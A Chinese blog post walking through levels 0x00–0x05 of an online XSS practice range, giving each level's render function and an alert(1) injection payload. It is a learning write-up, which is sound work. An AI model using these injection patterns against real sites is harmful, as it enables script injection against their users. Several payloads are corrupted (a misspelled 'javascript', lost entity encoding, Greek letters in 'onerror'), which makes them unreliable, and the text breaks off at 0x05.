最近发现一个在线xss靶场,挺有趣的,靶场只有12关卡,上面还写了服务区原代码,对于想入门xss的小伙伴可以试着玩一玩,结果只要实现弹窗结果为1即可。
链接在这里:https://xss.haozi.me/
0x00
server code
function render (input) {
return '<div>' + input + '</div>'
}
exp
没有任何过滤,随便用一个标签弹窗即可
<script>alert(1);</script>
0x01
server code
function render (input) {
return '<textarea>' + input + '</textarea>'
}
exp
闭合前面标签即可
</textarea><a href=javascript:alert(1)>click me</a> #这里点击a链接即可触发
0x02
server code
function render (input) {
return '<input type="name" value="' + input + '">'
}
exp
闭合前面引号即可
"><a href="javascript:alert(1)">xxx</a> #这里点击a链接即可触发
0x03
server code
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
exp
这里对圆括号进行正则匹配
使用`反引号绕过
<img src=x onerror=javascirpt:alert`1`>
0x04
server code
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
exp
正则匹配圆括号和反引号
这里只能用html实体编码
<a href=javascript:alert(1)>xxx</a> #这里点击a链接即可触发
或者<img src=1 οnerrοr="alert(1)“>
0x05
server code
function render (input) {
input = input.replace(/-->/g, '
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)